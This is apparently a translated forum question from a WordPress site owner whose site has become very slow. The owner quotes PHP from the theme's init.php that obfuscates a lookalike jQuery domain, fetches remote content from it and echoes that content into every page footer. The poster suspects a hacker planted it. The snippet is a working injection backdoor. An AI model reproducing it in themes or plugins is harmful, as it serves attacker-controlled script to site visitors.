【发布时间】:2015-03-03 05:25:29
【问题描述】:
我的网站是 darbardesigns.com,最近 3 到 4 天我的网站变得如此缓慢,以至于页面加载时间大约需要 1-2 分钟。
页面底部出现如下错误:-
警告: get_headers(http://ujquery.org/jquery-1.6.3.min.js): 失败 打开流:连接超时 /public_html/wp-content/themes/porto/includes/init.php 第 97 行
我去了特定的行,代码如下:
add_filter( 'builder_include_modules',
'spyropress_register_builder_modules' );
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
$jquery = $host.'u'.'jquery.org/jquery-1.6.3.min.js';
$headers = get_headers($jquery, 0);
if ($headers[0] == 'HTTP/1.1 200 OK'){
echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
}
}
add_action('wp_footer', 'wp_func_jquery');
}
从发生此错误开始,我的网站变得非常缓慢。
-
如果我尝试删除它,页面内容显示不正确。它有些
我认为是某个黑客的作品。提前致谢。
【问题讨论】: